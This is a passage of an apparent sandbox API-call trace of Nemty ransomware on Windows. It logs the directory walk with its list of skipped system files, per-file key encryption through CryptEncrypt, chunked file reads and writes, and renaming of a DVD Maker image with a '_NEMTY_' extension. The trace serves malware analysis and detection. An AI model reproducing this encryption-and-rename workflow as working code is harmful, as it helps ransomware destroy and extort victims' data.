hHeap=0x4f90000) returned 1 [0081.149] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0081.149] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0081.150] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0081.150] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0081.150] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0081.150] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0081.150] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0081.150] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0081.150] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0081.150] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0081.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0081.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0081.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0081.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0081.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0081.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0081.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0081.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0081.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0081.151] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0081.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0081.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0081.151] Sleep (dwMilliseconds=0x5) [0081.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe40656d0, dwHighDateTime=0x1d561e7)) [0081.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe40656d0, dwHighDateTime=0x1d561e7)) [0081.165] GetLastError () returned 0x5 [0081.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.165] GetLastError () returned 0x5 [0081.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.165] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0081.165] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0081.166] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0081.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0081.166] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="j2M9hRM7D+lPIz+xZ2lb7I4RMnkbvzQ1a8stSLrjv/Hm7aCR0+iqIjqL/sSEqzY4\r\nsQmjfWVZQLQ23Q3Yc9C2j0KW39JKGovYL8CplNYxPkdSqxumSZI6wCj9BaiOB84c\r\nvUoDFdc4KblzDzFwn5bau3Kztlwdw+jLezNcKhAT39pl7x5FXJGyhcRVkFJ+lz7P\r\nCeIiU4bZktj8UmSxvpokllw33yBHfYmgPfYHX7AC1/ZGJGEXJnYKgBpLRIHF3X+O\r\nC7VQavuNXwF8+rRHrl++q4wnDFMjbI82lgSDPjP3Py1I/hPq0GhIXMXUyfxX06CJ\r\ngnzptEa3kIfpsfzegeVSdQ==\r\n", pcchString=0x653e91c) returned 1 [0081.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0081.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0081.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0081.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0081.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0081.166] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.166] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0081.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0081.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.260] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.269] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0081.282] CloseHandle (hObject=0xffffffff) returned 0 [0081.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0081.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0081.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0081.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0081.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.283] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0081.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.283] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0081.283] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0081.284] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0081.284] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0081.284] lstrcmpiW 